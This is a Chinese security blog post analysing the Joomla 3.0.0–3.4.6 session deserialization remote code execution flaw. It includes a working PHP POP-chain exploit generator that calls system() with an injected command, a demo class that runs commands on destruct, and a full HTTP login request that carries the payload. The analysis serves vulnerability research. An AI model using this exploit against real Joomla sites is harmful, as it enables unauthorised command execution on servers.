Joomla3.0.0-3.4.6RCE分析

下载地址:https://downloads.joomla.org/it/cms/joomla3/3-4-6

本文测试环境为 PHP 5.5.9+apache+Ubuntu14.04.5 LTS+Joomla3.4.6

index.php 第42行下好断点,程序流程如下,这里我们重点关注 loadSession 方法。

1

loadSession 方法中会去实例化 JSessionStorageDatabase 类(下图第737行),而该类继承自 JSessionStorage 类,在实例化时会调用父类的 __construct 方法。在父类 __construct 方法中,我们看到使用了 session_set_save_handler 函数来处理 session ,函数中的 $this 指的就是 JSessionStorageDatabase 类对象(下图第88行)。接着,程序开启了 session_start 函数。

2

在经过 session_set_save_handler 函数处理后,如果调用 session_start 函数,就会依次调用 open、read、write、close 等方法,可以通过如下代码验证该结论。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

class SessionDemo
{
public function open()
{
echo 'open'.'<br>';
}

public function close()
{
echo 'close'.'<br>';
}

public function read()
{
echo 'read'.'<br>';
}

public function write()
{
echo 'write'.'<br>';
}

public function destroy()
{
echo 'destroy'.'<br>';
}

public function gc()
{
echo 'gc'.'<br>';
}
}

$session = new SessionDemo();

session_set_save_handler(
array($session, 'open'), array($session, 'close'), array($session, 'read'), array($session, 'write'),
array($session, 'destroy'), array($session, 'gc')
);

register_shutdown_function('session_write_close');
session_start();

?>

而上面我们说了 session_set_save_handler 函数中的 $this 指的就是 JSessionStorageDatabase 类对象,所以在调用 session_start 函数后会触发 JSessionStorageDatabase 类对象的 read 方法,然后在程序即将终止时调用 write 方法。很多人找不到到底哪里调用了 read、write 方法,其实就在这里。

我们继续看程序逻辑。在用户登录失败时, Joomla 会将用户的登录数据设置在 session 中,然后将用户重定向到登录页面(下图第86-87行代码)。

3

在执行重定向代码时,程序会直接 exit() ,然后就会开始调用前面说到的 JSessionStorageDatabase 类的 write 方法,将用户 session 写入数据库。当我们再次发送请求时,程序会将上次存储在数据库的 session 取出来,这里在反序列化 session 的时候就会有问题。具体 write、read 的代码如下。

4

write、read 的代码问题就存在于对 chr(0) 字符的替换上。为了让大家更好理解,我这里举个小例子,测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class Evil {
public $cmd;

public function __construct($cmd) {
$this->cmd = $cmd;
}

public function __destruct() {
system($this->cmd);
}
}

class User {
public $username;
public $password;

public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
}

$username = str_repeat('\0',27);
$padding = '1234";s:3:"age";';
$shellcode = 'O:4:"Evil":1:{s:3:"cmd";s:2:"id";}'; // serialize(new Evil('id')) 的执行结果
$password = $padding . $shellcode;

$str = read(write(serialize(new User($username, $password))));
$obj = unserialize($str);
?>

如下图所示,黄色标记部分为属性名,蓝色部分为属性对应的值。我们可以明显看到在 read 函数处理后,原先54个字符长度的 ‘\0’ 被替换成27个字符长度的 chr(0).’*’.chr(0) ,但是字符长度标识还是 s:54 。所以在进行反序列化的时候,还会继续向后读取27个字符长度,这样序列化的结果就完全不一样了。本次 Joomla 的漏洞,就是这个原理,这里不再赘述。

5

最后,我们再来看下POP链,也是比较简单,直接看下图吧。这里主要注意两个问题:

6

最终构造 EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

class JSimplepieFactory {}

class JDatabaseDriverMysql {}

class SimplePie
{
var $feed_url;
var $cache;
var $sanitize;
var $cache_name_function;

public function __construct($feed_url, $cache, $sanitize, $cache_name_function)
{
$this->feed_url = $feed_url;
$this->cache = $cache;
$this->sanitize = $sanitize;
$this->cache_name_function = $cache_name_function;
}
}

class JDatabaseDriverMysqli
{
protected $obj;
protected $connection;
protected $disconnectHandlers = array();

public function __construct($obj, $connection, $disconnectHandlers)
{
$this->obj = $obj;
$this->connection = $connection;
$this->disconnectHandlers = $disconnectHandlers;
}
}

$function = 'system';
$argument = 'http://www.baidu.com;id';

// $function = 'assert';
// $argument = 'phpinfo() || "http://www.baidu.com"';
$simplepie = new SimplePie($argument, true, new JDatabaseDriverMysql(), $function);
$jdatabasedrivermysqli = new JDatabaseDriverMysqli(new JSimplepieFactory(), true, array(array($simplepie,'init')));
echo urlencode(serialize($jdatabasedrivermysqli));

?>
1
2
3
4
5
6
7
8
POST /Joomla/ HTTP/1.1
Host: 0.0.0.0:8000
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: XDEBUG_SESSION=PHPSTORM; 17511585a4996c48455fa590ab8d4d24=58c7q9ocb6n3q0tjj7m0s3g3i6
Content-Length: 737

CSRF-Token值=1&task=user.login&option=com_users&username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=AAA";s:3:"233":序列化payload

7

PS:这个漏洞还和PHP的版本有关,高版本PHP(例如PHP5.6.40)是无法利用成功的。这个和session的处理机制有关系,具体分析可以参考:session反序列化代码执行漏洞分析[Joomla RCE]

文章作者: Mochazz
文章链接: https://mochazz.github.io/2019/10/18/Joomla3.0.0-3.4.6RCE分析/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog